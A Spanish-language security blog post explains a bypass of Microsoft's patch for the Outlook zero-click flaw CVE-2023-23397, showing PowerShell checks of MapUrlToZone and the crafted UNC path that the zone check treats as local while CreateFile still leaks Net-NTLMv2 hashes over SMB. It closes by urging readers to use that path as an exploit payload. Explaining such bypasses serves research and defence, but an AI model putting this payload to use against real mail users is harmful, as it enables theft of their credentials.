Evasión del parche para la vulnerabilidad 0-click en Outlook CVE-2023-23397

En marzo de 2023 Microsoft parcheó una vulnerabilidad etiquetada como CVE-2023-23397 que afectaba a Outlook y podía permitir a un atacante obtener las credenciales de su víctima sin su interacción (0-click) simplemente mandando una convocatoria de reunión con una ruta UNC a un servidor malicioso en la ruta a un sonido de notificación personalizado (propiedad MAPI extendida PidLidReminderFileParameter). Al intentar conectar al servidor SMB remoto, el hash Net-NTLMv2 se envía en un mensaje de negociación.

Actualmente, para cargar del archivo de sonido custom, Outlook usa dos funciones importantes:

MapUrlToZone - Devuelve la zona de la URL; se utiliza para determinar si la ruta es local, intranet o de confianza. Esto es lo que se implementó para solucionar el problema con la vulnerabilidad de marzo, e para verificar que la ruta no se refiera a una URL de Internet. Si es así, se utiliza el sonido de recordatorio predeterminado en lugar del personalizado.
CreateFile: abre un handler para el archivo de sonido

Pues bien, ahora el investigador de Akamai Ben Barnea ha encontrado un bypass contra esa medida mitigatoria...

Para llamar a MapUrlToZone, podemos usar el siguiente script de PowerShell que invoca la función a través del Modelo de objetos componentes (COM):

PS C:\Users\research1>[IEZones]::MapUrlToZone('\\Akamai.com\file.wav')    
3

Para verificar que MapUrlToZone es una mitigación adecuada, podemos probarlo llamándolo en la misma ruta que desencadenó la vulnerabilidad: una ruta UNC absoluta con un dominio de Internet. MapUrlToZone devuelve 3, lo que indica que la ruta se encuentra en la zona de Internet, como se esperaba.

PS C:\Users\research1>[IEZones]::MapUrlToZone('\\.\UNC\Akamai.com\file.wav')      
3

Como podéis observar, MapUrlToZone aún identifica la ruta como una zona de Internet, por lo que aún estaría bloqueada.
Sin embargo, al agregar otro '\' después de "UNC\", MapUrlToZone ahora devuelve 0, lo que significa una ruta local:

PS C:\Users\research1>[IEZones]::MapUrlToZone('\\.\UNC\\Akamai.com\file.wav')
0

Como veis, MapUrlToZone concluye que esta URL es local.

El siguiente paso sería llamar a la función CreateFile, ¿Accederá a un archivo local o lo descargará a través de SMB?

Redoble de tambores ...

Como podéis observar en la imagen, se envió una solicitud de DNS para obtener la IP de Akamai.com. Parece que efectivamente esa ruta para MapUrlToZone es local, ¡pero hace que CreateFile envíe una solicitud a Internet!

Os recomiendo daros una vuelta por este enlace, pero el resumen es que la clave está en las conversiones:

Ruta vulnerable: \\.\UNC\\Akamai.com\file.wav

1. MapUrlToZone:
   CreateUri: /.//UNC//Akamai.com/file.wav
   NT Path: \??\C:\UNC\Akamai.com\file.wav
   Full Path: C:\UNC\Akamai.com\file.wav

2. CreateFile:
   Dos Path: \??\UNC\Akamai.com\file.wav
   Full Path: \\.\UNC\Akamai.com\file.wav

Pero, ¿por qué manda CreateFile la petición hacia fuera con esa ruta? El acceso a esta ruta NT hará que el object manager enrute la solicitud de E/S al controlador del proveedor de múltiples UNC (MUP). (Esto se debe a que la entrada del directorio de objetos globales para "UNC" es un enlace simbólico a "\Device\Mup".) Luego RtlpDosPathNameToRelativeNtPathName elimina las '\' extra, por lo que la ruta resultante final contiene solo el nombre de dominio de Internet :)

Al final si explotáis la vulnerabilidad usando como payload la ruta vulnerable lo tendréis: